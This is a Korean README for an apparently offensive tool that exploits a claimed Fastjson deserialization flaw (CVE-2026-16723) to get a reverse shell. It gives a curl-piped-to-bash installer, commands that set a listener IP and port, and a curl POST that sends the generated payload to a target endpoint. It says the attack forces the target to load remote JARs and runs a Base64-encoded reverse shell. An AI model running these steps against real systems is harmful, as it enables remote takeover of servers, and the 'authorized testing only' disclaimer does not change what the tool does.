CVE-2026-16723 익스플로잇

CVE-2026-16723, Fastjson 버전 1.2.68 – 1.2.83에 영향을 미치는 치명적인 취약점에 대한 독립형 C++17 구현체입니다.

요구 사항

• Linux(또는 Windows의 WSL)

• C++17 호환 컴파일러(GCC 7+ 또는 Clang 5+)

• CMake 3.10 이상

• 시스템 패키지:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

설치

빠른 설치(권장)

단일 명령으로 모든 것을 설치합니다:

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

또는 설치 프로그램을 수동으로 다운로드하여 실행합니다:

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

설치 스크립트는 다음을 수행합니다:

• 필요한 모든 시스템 패키지를 설치합니다.

• 필요한 헤더 전용 라이브러리를 다운로드합니다:

  • nlohmann/json
  • cpp-httplib

• 프로젝트를 빌드합니다.

• 컴파일된 바이너리를 현재 디렉터리에 다음 이름으로 배치합니다:

./exploit

수동 빌드

저장소를 클론한 경우:

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

또는 수동으로 빌드합니다:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

사용법

바이너리를 실행합니다:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

예제

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

실행 후 다음 파일이 생성됩니다:

x
body.json

HTTP 서버는 구성된 포트(기본값: 8000)에서 시작되며, 도구는 들어오는 리버스 셸 연결을 기다립니다.

페이로드 전송

생성된 body.json 파일을 취약한 엔드포인트로 전송합니다:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

애플리케이션이 다른 JSON 필드를 기대하는 경우 --field 옵션을 사용하여 지정합니다.

명령줄 옵션

출력 파일

참고 사항

• 이 프로젝트는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다.
• 이 구현은 대상 애플리케이션이 jar:http 및 jar:file 프로토콜을 사용하여 원격 JAR을 다운로드하고 로드하도록 강제합니다.
• 리버스 셸 명령은 이스케이프 문제를 줄이기 위해 Base64로 인코딩됩니다.

트위터(X)에서 나를 팔로우하세요

• MNM